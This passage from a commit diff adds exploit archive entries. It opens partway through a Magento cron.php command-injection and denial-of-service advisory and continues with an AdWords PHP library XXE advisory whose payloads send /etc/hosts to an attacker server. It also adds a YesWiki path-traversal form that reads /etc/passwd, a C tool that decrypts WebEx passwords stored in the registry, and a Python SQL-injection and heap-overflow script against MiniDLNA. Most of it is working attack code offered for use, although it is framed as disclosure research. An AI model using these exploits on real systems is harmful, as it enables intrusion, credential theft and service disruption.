to a backup facility, he could potenially create a backup of the magento
|
||||
directory with a command within the name , e.g.:
|
||||
|
||||
$(id)
|
||||
|
||||
The user could then request the cron.php script via the following request:
|
||||
|
||||
GET /magento/$(id)/cron.php HTTP/1.1
|
||||
Host: victim_magento_site
|
||||
|
||||
Because of the shell_exec() function in the quoted sourcecode of cron.php:
|
||||
|
||||
---
|
||||
$baseDir = dirname(__FILE__);
|
||||
shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
|
||||
---
|
||||
|
||||
it would cause the cron.php script to run the following command:
|
||||
|
||||
/bin/sh /var/www/magento/$(id)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &
|
||||
|
||||
The command would run id program as soon as bash command expansion syntax of
|
||||
$() got evaluated.
|
||||
|
||||
|
||||
An attacker could also run more complex commands, by hex encoding disallowed
|
||||
characters within directory names (such as '/' directory separator).
|
||||
|
||||
For example, he could run the command:
|
||||
|
||||
touch /tmp/magento_exec
|
||||
|
||||
|
||||
by encoding it as follows:
|
||||
|
||||
echo 'touch /tmp/magento_exec' | hexdump -v -e '"\\\\\\""x" 1/1 "%02x" ""' ${1}
|
||||
|
||||
\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63
|
||||
|
||||
He could then execute it via a GET request of:
|
||||
|
||||
GET /magento/$(`echo%20-e%20\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/exec.php HTTP/1.1
|
||||
|
||||
which would execute:
|
||||
|
||||
/bin/sh /var/www/magento/exec_poc/$(`echo -e \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &
|
||||
|
||||
resulting in creating the PoC file:
|
||||
|
||||
victim$ ls -l /tmp/magento_exec
|
||||
-rw-r--r-- 1 www-data www-data 0 Jul 26 11:20 /tmp/magento_exec
|
||||
|
||||
|
||||
|
||||
C) Denial of Service
|
||||
|
||||
By sending multiple requests to cron.php, for example using apache benchmark
|
||||
tool:
|
||||
|
||||
attacker$ ab -n 500 -c 30 http://victim_magento_site/magento/cron.php
|
||||
|
||||
attacker could exploit the lack of locking to spawn numerous processes,
|
||||
potentially leading to resource exhaustion and a DoS condition.
|
||||
|
||||
The above command would result in creating multiple instances of the
|
||||
cron.php/cron.sh scripts on the target host:
|
||||
|
||||
...
|
||||
www-data 5529 0.2 1.3 287756 6872 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
|
||||
www-data 5531 0.2 1.1 288000 5848 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
|
||||
www-data 5533 0.2 1.2 288000 6432 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||
www-data 5535 0.3 1.2 288000 6484 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||
www-data 5537 0.3 1.5 288768 7740 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||
www-data 5539 0.3 1.3 287524 6956 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||
www-data 5541 0.3 1.4 288768 7168 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||
www-data 5543 0.3 1.4 288288 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||
www-data 5546 0.3 1.4 288512 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
|
||||
www-data 5885 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5886 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5887 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5888 0.0 0.0 17880 440 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5889 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5890 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5891 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5899 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5900 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5901 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
|
||||
www-data 5904 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5907 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
|
||||
www-data 5909 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
|
||||
www-data 5910 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
|
||||
www-data 5912 0.0 0.0 17880 464 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
www-data 5913 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
|
||||
...
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
||||
The issue has been rated as medium. Depending on the Magento hosting features
|
||||
and applied patches code execution could be possible which would increase the
|
||||
risks.
|
||||
|
||||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
The latest version of eBay Magento CE (1.9.2.1) was confirmed to contain
|
||||
the vulnerable cron.php script.
|
||||
The Magento EE versions also contain this problem according to the vendor's
|
||||
advisory.
|
||||
|
||||
VIII. SOLUTION
|
||||
-------------------------
|
||||
|
||||
eBay Magento assigned this issue the ID of APPSEC-1037 and supplied a patch
|
||||
for it within the SUPEE-6788 patch bundle available on the official website.
|
||||
The patch adds sanitisation functions around the shell_exec() code however
|
||||
the cron script remains publicly accessible.
|
||||
|
||||
It is recommended to protect the cron script by other means.
|
||||
For example, the script could require a key supplied together with a GET
|
||||
request to proceed with the execution which is commonly used with other
|
||||
major open source solutions.
|
||||
The easiest way would also be restricting acess to the script to only
|
||||
certain IPs or localhost within the web server configuration.
|
||||
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
||||
http://legalhackers.com/advisories/Magento-Unrestricted-Cron-Script-Vulnerability.txt
|
||||
|
||||
Oficial eBay Magento website:
|
||||
http://magento.com/
|
||||
|
||||
Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML
|
||||
Functionality Using Multibyte Payloads' (APPSEC-1037) is available at:
|
||||
|
||||
https://magento.com/security/patches/supee-6788
|
||||
|
||||
|
||||
X. CREDITS
|
||||
-------------------------
|
||||
|
||||
The vulnerabilities have been discovered by Dawid Golunski
|
||||
dawid (at) legalhackers (dot) com
|
||||
legalhackers.com
|
||||
|
||||
XI. REVISION HISTORY
|
||||
-------------------------
|
||||
|
||||
Nov 6th, 2015: Advisory released
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
||||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
318
platforms/php/webapps/38652.txt
Executable file
318
platforms/php/webapps/38652.txt
Executable file
|
|
@ -0,0 +1,318 @@
|
|||
# Date: 06.11.2015
|
||||
# Exploit Author: Dawid Golunski
|
||||
# Vendor Homepage: https://developers.google.com/adwords/api/docs/clientlibraries
|
||||
# Software Link: https://github.com/googleads/googleads-php-lib
|
||||
# Version: Google AdWords API client libraries - XML eXternal Entity Injection (XXE)
|
||||
|
||||
|
||||
=============================================
|
||||
- Release date: 06.11.2015
|
||||
- Discovered by: Dawid Golunski
|
||||
- Severity: Medium/High
|
||||
=============================================
|
||||
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
|
||||
Google AdWords API client libraries - XML eXternal Entity Injection (XXE)
|
||||
|
||||
Confirmed in googleads-php-lib <= 6.2.0 for PHP, AdWords libraries:
|
||||
googleads-java-lib for Java, and googleads-dotnet-lib for .NET are also likely
|
||||
to be affected.
|
||||
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
|
||||
- AdWords API
|
||||
|
||||
"The AdWords API is a collection of web services that you can use to build
|
||||
applications that manage AdWords accounts and their associated campaign data.
|
||||
While the AdWords API is based on SOAP 1.1, high-level client libraries are
|
||||
provided to help you develop applications more quickly."
|
||||
|
||||
AdWords API client libraries are available for different platforms
|
||||
such as PHP, .NET, Java etc.
|
||||
|
||||
These can be found at:
|
||||
|
||||
https://developers.google.com/adwords/api/docs/clientlibraries
|
||||
|
||||
III. INTRODUCTION
|
||||
-------------------------
|
||||
|
||||
As Google AdWords is based on SOAP protocol that uses XML to transfer the data,
|
||||
client API libraries should have necessary preventions against XML eXternal
|
||||
Entity injection attacks. However, an independent research found the necessary
|
||||
preventions to be lacking in several Google AdWords API client libraries,
|
||||
which could allow XXE attacks on applications/servers that make use of them.
|
||||
|
||||
XXE (XML eXternal Entity) attack is an attack on an application that parses XML
|
||||
input from untrusted sources using incorrectly configured XML parser.
|
||||
The application may be forced to open arbitrary files and/or network resources.
|
||||
Exploiting XXE issues on PHP applications may also lead to denial of service or
|
||||
in some cases (when an 'expect' PHP module is installed) lead to command
|
||||
execution.
|
||||
|
||||
IV. DESCRIPTION
|
||||
-------------------------
|
||||
|
||||
This advisory will focus on PHP version of the AdWords API client library.
|
||||
Other versions of the client library such as .NET and Java seem to be
|
||||
vulnerable in a similar way.
|
||||
|
||||
googleads-php-lib contains the following function which queries WSDL from the
|
||||
remote google adwords server:
|
||||
|
||||
---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---
|
||||
|
||||
protected function loadWsdl($wsdlUri, $proxy = null) {
|
||||
// Set proxy.
|
||||
if ($proxy) {
|
||||
$opts = array(
|
||||
'http' => array(
|
||||
'proxy' => $proxy,
|
||||
'request_fulluri' => true
|
||||
)
|
||||
);
|
||||
$context = stream_context_get_default($opts);
|
||||
libxml_set_streams_context($context);
|
||||
}
|
||||
|
||||
$this->dom = new DOMDocument();
|
||||
$this->dom->load($wsdlUri,
|
||||
LIBXML_DTDLOAD|LIBXML_DTDATTR|LIBXML_NOENT|LIBXML_XINCLUDE);
|
||||
|
||||
$this->serviceNamespace =
|
||||
$this->dom->documentElement->getAttribute('targetNamespace');
|
||||
}
|
||||
|
||||
-------------------------------------------------------
|
||||
|
||||
The function connects to the API endpoint to get the WSDL document describing
|
||||
the functionality of the AdWords web service in XML.
|
||||
|
||||
For security reasons Google AdWords API can only be accessed via HTTPS.
|
||||
However, the above code does not set appropriate SSL settings on the
|
||||
https:// stream context. It fails to assign Certificate Authority (CA),
|
||||
and turn the verify_peer option to ON.
|
||||
It uses the stream_context_get_default() to get the default context,
|
||||
which on all PHP versions below PHP 5.6.x (see references below) does not
|
||||
validate the CA by default.
|
||||
|
||||
Because of this, applications using the AdWords API library may be tricked into
|
||||
retrieving data from untrusted sources pretending to be adwords.google.com.
|
||||
|
||||
The above code does not provide any XXE injection attack prevention.
|
||||
It does not disable external entity processing. To make it worse,
|
||||
it specifically enables it via the LIBXML parameters provided to the
|
||||
dom->load() function so an XXE injection attack would work even on
|
||||
systems that have the newest and fully patched version of libxml library
|
||||
which does not process the entities by default.
|
||||
|
||||
Another vulnerable part of the application is located in the code:
|
||||
|
||||
---[ src/Google/Api/Ads/Common/Util/XmlUtils.php ]---
|
||||
|
||||
public static function GetDomFromXml($xml) {
|
||||
set_error_handler(array('XmlUtils', 'HandleXmlError'));
|
||||
$dom = new DOMDocument();
|
||||
$dom->loadXML($xml,
|
||||
LIBXML_DTDLOAD | LIBXML_DTDATTR | LIBXML_NOENT | LIBXML_XINCLUDE);
|
||||
restore_error_handler();
|
||||
return $dom;
|
||||
}
|
||||
|
||||
-----------------------------------------------------
|
||||
|
||||
which is used by the AdsSoapClient class to process SOAP requests. It
|
||||
also activates the ENTITY processing even if libxml parser is set to
|
||||
ingore them by default. AdsSoapClient can be configured to verify SSL peer
|
||||
in SSL communication via the settings INI file but this option is set to
|
||||
off by default.
|
||||
|
||||
These SSL settings, and the XML ENTITY processing combined make applications
|
||||
using the AdWords API vulnerable to XXE injection attacks.
|
||||
|
||||
For the attack to be successful, an attacker needs to
|
||||
perform a MitM attack to impersonate adwords.google.com server (eg. via DNS
|
||||
poisoning/spoofing/proxy attacks, ARP spoofing, etc.) to inject malicious
|
||||
XML input.
|
||||
|
||||
|
||||
V. PROOF OF CONCEPT
|
||||
-------------------------
|
||||
|
||||
Below is a test application that makes use of the PHP Google AdWords API
|
||||
library.
|
||||
|
||||
The application simply connects to the AdWords API endpoint to retrieve the
|
||||
WSDL document.
|
||||
|
||||
---[ testAPI.php ]---
|
||||
|
||||
<?php
|
||||
// Test application reading WSDL from Google AdWords
|
||||
|
||||
set_include_path('./build_lib/WSDLInterpreter/');
|
||||
require_once 'WSDLInterpreter.php';
|
||||
|
||||
$wsdlUri = 'https://adwords.google.com/api/adwords/cm/v201502/'
|
||||
.'CampaignService?wsdl';
|
||||
|
||||
$wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null,
|
||||
null, "CampaignService", "v201502", "Ads_Google",
|
||||
"./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null);
|
||||
|
||||
?>
|
||||
|
||||
---------------------
|
||||
|
||||
|
||||
To exploit this application, an attacker needs to perform a MitM attack to
|
||||
impersonate adwords.google.com server, as mentioned in the introduction.
|
||||
For simplicity, we can add the following entry to /etc/hosts on the victim's
|
||||
server:
|
||||
|
||||
192.168.57.12 adwords.google.com
|
||||
|
||||
to simulate a successful MitM attack where attacker successfully manages
|
||||
to ,for example, poison the DNS cache to point the adwords subdomain at his
|
||||
malicious web server (192.168.57.12).
|
||||
|
||||
The attacker then needs to create a malicious XML file on his server to
|
||||
return it to the victim. Example payload could look as follows:
|
||||
|
||||
$ curl --insecure 'https://192.168.57.12/api/adwords/cm/v201502/CampaignService?wsdl'
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root
|
||||
[
|
||||
<!ENTITY xxetest SYSTEM "http://192.168.57.12/adwords_xxe_hack.dtd">
|
||||
]>
|
||||
<test><testing>&xxetest;</testing></test>
|
||||
|
||||
|
||||
The XML payload returned by the attacker will cause the vulnerable
|
||||
AdWords API library to resolve the 'xxetest' entity and connect
|
||||
back to the attacker's server to retrieve adwords_xxe_hack.dtd.
|
||||
|
||||
|
||||
This can be verified on the victim's server by executing the demonstrated
|
||||
testAPI.php script:
|
||||
|
||||
$ curl http://victims_server/googleads-php-lib-master/testAPI.php
|
||||
|
||||
|
||||
The script will try to retrieve the WSDL/XML document from adwords.google.com
|
||||
which will provide the above malicious XML.
|
||||
After the injected entity is read, the attacker will get a connection from the
|
||||
victim:
|
||||
|
||||
attacker@mitm# nc -vv -l 8080
|
||||
Connection from victims_server port 8080 [tcp/http-alt] accepted
|
||||
GET /adwords_xxe_hack.dtd HTTP/1.0
|
||||
Host: 192.168.57.12:8080
|
||||
|
||||
|
||||
At this point attacker could add other entities to carry out an Out of band
|
||||
XXE attack to read system files (such as /etc/passwd) located on the victim's
|
||||
server, or execute commands via expect:// PHP wrapper if the 'expect' module
|
||||
is enabled.
|
||||
|
||||
|
||||
For example, this payload:
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE test [
|
||||
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
|
||||
<!ENTITY % dtd SYSTEM "http://192.168.57.12/send.dtd">
|
||||
%dtd;
|
||||
]>
|
||||
<test><testing>test &send;</testing></test>
|
||||
|
||||
with another file located on the attacker's file server:
|
||||
|
||||
---[ send.dtd ]---
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.57.12:8080/retrieved/%file;'>">
|
||||
%all;
|
||||
|
||||
------------------
|
||||
|
||||
would send the contents of the /etc/hosts file to the attacker.
|
||||
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
||||
The severity of this issue is lowered to medium/high despite as the XXE
|
||||
injection vulnerability in the code, the attacker must impersonate
|
||||
adwords.google.com server to be able to inject malicious XML.
|
||||
If there is a possibility for such an attack, the severity of the issue can
|
||||
grow to high/critical due to the exploitation possibilities through XXE
|
||||
injection.
|
||||
|
||||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
The latest version of Google AdWords API PHP client library was confirmed to
|
||||
be vulnerable. The client libraries for other platforms seem to lack necessary
|
||||
XXE attack preventions too.
|
||||
For example, the Java version, did not set the
|
||||
'sax/features/external-general-entities' setting to off when creating an
|
||||
instance of the DocumentBuilderFactory class. And the .NET version of the
|
||||
AdWords API was missing explicit 'ProhibitDtd' setting on the XMLReader.
|
||||
|
||||
Vulnerabilities were found in googleads-php-lib in versions below 5.9.0 and
|
||||
reported to Google in May 2015, they were just fixed in AdWords php library ver.
|
||||
6.3.0.
|
||||
|
||||
VIII. SOLUTION
|
||||
-------------------------
|
||||
|
||||
Install the latest version of the Google AdWords API library available for your
|
||||
platform, and tighten SSL settings by enabling SSL CA verification in the
|
||||
library settings file.
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
||||
http://legalhackers.com/advisories/Google-AdWords-API-libraries-XXE-Injection-Vulnerability.txt
|
||||
|
||||
https://developers.google.com/adwords/api/docs/clientlibraries
|
||||
|
||||
https://github.com/googleads/googleads-php-lib
|
||||
|
||||
https://developers.google.com/adwords/api/docs/
|
||||
|
||||
PHP 5.6.x openssl certificates in PHP streams:
|
||||
http://php.net/manual/en/migration56.openssl.php
|
||||
|
||||
http://legalhackers.com
|
||||
|
||||
X. CREDITS
|
||||
-------------------------
|
||||
|
||||
The vulnerability has been discovered by Dawid Golunski
|
||||
dawid (at) legalhackers (dot) com
|
||||
|
||||
http://legalhackers.com
|
||||
|
||||
XI. TIMELINE
|
||||
-------------------------
|
||||
|
||||
May 18th, 2015: Advisory created and sent to Google Security Team
|
||||
|
||||
Nov 5th, 2015: Google, after half a year, confirm the vulnerability has been patched
|
||||
|
||||
Nov 6th, 2015: Advisory released publicly
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
||||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
26
platforms/php/webapps/38665.txt
Executable file
26
platforms/php/webapps/38665.txt
Executable file
|
|
@ -0,0 +1,26 @@
|
|||
# Exploit Title: YESWIKI 0.2 - Path Traversal (template param)
|
||||
# Date: 2015-11-10
|
||||
# Exploit Author: HaHwul
|
||||
# Exploit Author Blog: http://www.codeblack.net
|
||||
# Vendor Homepage: http://yeswiki.net
|
||||
# Software Link: https://github.com/YesWiki/yeswiki
|
||||
# Version: yeswiki 0.2
|
||||
# Tested on: Debian [Wheezy] , Ubuntu
|
||||
# CVE : none
|
||||
# ===========================================
|
||||
<!-- Open Browser: http://127.0.0.1/vul_test/yeswiki/wakka.php?wiki=HomePage/diaporama&template=/../../../../../../../../../../../../etc/passwd
|
||||
--><br>
|
||||
# Exploit Code<br>
|
||||
# ===========================================
|
||||
<br><br>
|
||||
|
||||
<form name="yeswiki_traversal2_poc" action="http://127.0.0.1/vul_test/yeswiki/wakka.php" method="GET">
|
||||
<input type="hidden" name="wiki" value="HomePage/diaporama">
|
||||
Target: Edit HTML Code<br>
|
||||
File: <input type="text" name="template" value="/../../../../../../../../../../../../etc/passwd"><br>
|
||||
|
||||
<input type="submit" value="Exploit">
|
||||
</form>
|
||||
<!-- Auto Sumbit
|
||||
<script type="text/javascript">document.forms.yeswiki_traversal2_poc.submit();</script>
|
||||
-->
|
||||
118
platforms/windows/local/38668.c
Executable file
118
platforms/windows/local/38668.c
Executable file
|
|
@ -0,0 +1,118 @@
|
|||
source: http://www.securityfocus.com/bid/61304/info
|
||||
|
||||
Cisco WebEx One-Click Client is prone to an information disclosure vulnerability.
|
||||
|
||||
Successful exploits may allow an attacker to disclose sensitive information such as stored passwords; this may aid in further attacks.
|
||||
|
||||
/*
|
||||
WebEx One-Click Registry Key Decryptor
|
||||
brad.antoniewicz@foundstone.coma
|
||||
|
||||
compile with gcc -o webex-onedecrypt -lssl webex-onedecrypt.c
|
||||
|
||||
Thanks to https://code.google.com/p/tps-cripto-itba/source/browse/trunk/src/criptography
|
||||
for making life easy
|
||||
|
||||
see comments below
|
||||
|
||||
*/
|
||||
|
||||
#include <openssl/aes.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
unsigned char *
|
||||
aes_ofb_encrypt(unsigned char * text, int length, unsigned char * key, unsigned char * iv)
|
||||
{
|
||||
unsigned char * outbuf = calloc(1,length);
|
||||
int num = 0;
|
||||
|
||||
unsigned char liv[16];
|
||||
|
||||
memcpy(liv,iv,16);
|
||||
|
||||
AES_KEY aeskey;
|
||||
|
||||
//memset(outbuf, 0, 8);
|
||||
|
||||
AES_set_encrypt_key(key, 256, &aeskey);
|
||||
|
||||
AES_ofb128_encrypt(text, outbuf, length, &aeskey, liv, &num);
|
||||
|
||||
return outbuf;
|
||||
}
|
||||
|
||||
unsigned char *
|
||||
aes_ofb_decrypt(unsigned char * enc, int length, unsigned char * key, unsigned char * iv)
|
||||
{
|
||||
unsigned char * outbuf= calloc(1,length);
|
||||
int num = 0;
|
||||
|
||||
unsigned char liv[16];
|
||||
|
||||
memcpy(liv,iv,16);
|
||||
|
||||
AES_KEY aeskey;
|
||||
|
||||
|
||||
AES_set_encrypt_key(key, 256, &aeskey);
|
||||
|
||||
AES_ofb128_encrypt(enc, outbuf, length, &aeskey, liv, &num);
|
||||
|
||||
return outbuf;
|
||||
}
|
||||
void main() {
|
||||
/*
|
||||
This value is from
|
||||
HKEY_CURRENT_USER\Software\WebEx\ProdTools\Password
|
||||
*/
|
||||
unsigned char * regVal = "\xcc\x6d\xc9\x3b\xa0\xcc\x4c\x76\x55\xc9\x3b\x9f";
|
||||
/*
|
||||
This value is from
|
||||
HKEY_CURRENT_USER\Software\WebEx\ProdTools\PasswordLen
|
||||
*/
|
||||
int regLength = 12;
|
||||
|
||||
/*
|
||||
This value is a combination of these two registry keys:
|
||||
HKEY_CURRENT_USER\Software\WebEx\ProdTools\UserName
|
||||
HKEY_CURRENT_USER\Software\WebEx\ProdTools\SiteName
|
||||
|
||||
Basicaly the username and the sitename padding to 32 characters, if the
|
||||
two dont add up to 32 characters, its just repeated until it fits
|
||||
*/
|
||||
unsigned char key[32] = "braantonsiteaa.webex.com/siteaab";
|
||||
|
||||
/*
|
||||
The IV is static, particularly complex value of 123456789abcdef....
|
||||
*/
|
||||
unsigned char iv[16] = { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x12 };
|
||||
|
||||
/*
|
||||
These are just for testing, you'd probably not have the password :)
|
||||
*/
|
||||
unsigned char * password = "bradbradbrad";
|
||||
int pwLength = strlen((char *)password);
|
||||
|
||||
unsigned char * enc = NULL;
|
||||
unsigned char * enc2 = NULL;
|
||||
int i = 0;
|
||||
|
||||
|
||||
printf("Reg Key Value = ");
|
||||
enc = aes_ofb_encrypt(password, pwLength, key, iv);
|
||||
for(i=0;i<pwLength;i++) {
|
||||
printf("%02x ", enc[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
printf("Password = ");
|
||||
enc2 = aes_ofb_decrypt(regVal, regLength, key, iv);
|
||||
for(i=0;i<regLength;i++) {
|
||||
printf("%c", enc2[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
|
||||
}
|
||||
81
platforms/windows/remote/38667.py
Executable file
81
platforms/windows/remote/38667.py
Executable file
|
|
@ -0,0 +1,81 @@
|
|||
source: http://www.securityfocus.com/bid/61282/info
|
||||
|
||||
ReadyMedia is prone to a remote heap-based buffer-overflow vulnerability.
|
||||
|
||||
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
|
||||
|
||||
ReadyMedia prior to 1.1.0 are vulnerable.
|
||||
|
||||
#!/usr/bin/env python
|
||||
#AAAAinject.py
|
||||
# Author: Zachary Cutlip
|
||||
# zcutlip@tacnetsol.com
|
||||
# twitter: @zcutlip
|
||||
#This script injects a buffer overflow into the ALBUM_ART table of
|
||||
#MiniDLNA's SQLite database. When queried with the proper soap request,
|
||||
#this buffer overflow demonstrates arbitrary code execution by placing a
|
||||
#string of user-controlled 'A's in the CPU's program counter. This
|
||||
#affects MiniDLNA version 1.0.18 as shipped with Netgear WNDR3700 version 3.
|
||||
import math
|
||||
import sys
|
||||
import urllib,socket,os,httplib
|
||||
import time
|
||||
from overflow_data import DlnaOverflowBuilder
|
||||
headers={"Host":"10.10.10.1"}
|
||||
host="10.10.10.1"
|
||||
COUNT=8
|
||||
LEN=128
|
||||
empty=''
|
||||
overflow_strings=[]
|
||||
overflow_strings.append("AA")
|
||||
overflow_strings.append("A"*LEN)
|
||||
overflow_strings.append("B"*LEN)
|
||||
overflow_strings.append("C"*LEN)
|
||||
overflow_strings.append("D"*LEN)
|
||||
overflow_strings.append("A"*LEN)
|
||||
overflow_strings.append("\x10\x21\x76\x15"*(LEN/4))
|
||||
overflow_strings.append("\x10\x21\x76\x15"*(LEN/4))
|
||||
overflow_strings.append("D"*LEN)
|
||||
overflow_strings.append("D"*LEN)
|
||||
overflow_strings.append("D"*LEN)
|
||||
path_beginning='/AlbumArt/1;'
|
||||
path_ending='-18.jpg'
|
||||
details_insert_query='insert/**/into/**/DETAILS(ID,SIZE,TITLE,ARTIST,ALBUM'+\
|
||||
',TRACK,DLNA_PN,MIME,ALBUM_ART,DISC)/**/VALUES("31337"'+\
|
||||
',"PWNED","PWNED","PWNED","PWNED","PWNED","PWNED"'+\
|
||||
',"PWNED","1","PWNED");'
|
||||
objects_insert_query='insert/**/into/**/OBJECTS(OBJECT_ID,PARENT_ID,CLASS,DETAIL_ID)'+\
|
||||
'/**/VALUES("PWNED","PWNED","container","31337");'
|
||||
details_delete_query='delete/**/from/**/DETAILS/**/where/**/ID="31337";'
|
||||
objects_delete_query='delete/**/from/**/OBJECTS/**/where/**/OBJECT_ID="PWNED";'
|
||||
def build_injection_req(query):
|
||||
request=path_beginning+query+path_ending
|
||||
return request
|
||||
def do_get_request(request):
|
||||
conn=httplib.HTTPConnection(host,8200)
|
||||
conn.request("GET",request,"",headers)
|
||||
conn.close()
|
||||
def build_update_query(string):
|
||||
details_update_query='update/**/DETAILS/**/set/**/ALBUM_ART=ALBUM_ART'+\
|
||||
'||"'+string+'"/**/where/**/ID="31337";'
|
||||
return details_update_query
|
||||
def clear_overflow_data():
|
||||
print "Deleting existing overflow data..."
|
||||
request=build_injection_req(details_delete_query)
|
||||
do_get_request(request)
|
||||
request=build_injection_req(objects_delete_query)
|
||||
do_get_request(request)
|
||||
time.sleep(1)
|
||||
|
||||
def insert_overflow_data():
|
||||
print("Setting up initial database records....")
|
||||
request=build_injection_req(objects_insert_query)
|
||||
do_get_request(request)
|
||||
request=build_injection_req(details_insert_query)
|
||||
do_get_request(request)
|
||||
print("Building long ALBUM_ART string.")
|
||||
for string in overflow_strings:
|
||||
req=build_injection_req(build_update_query(string))
|
||||
do_get_request(req)
|
||||
clear_overflow_data()
|
||||
insert_overflow_data()
|
||||
Loading…
Add table
Reference in a new issue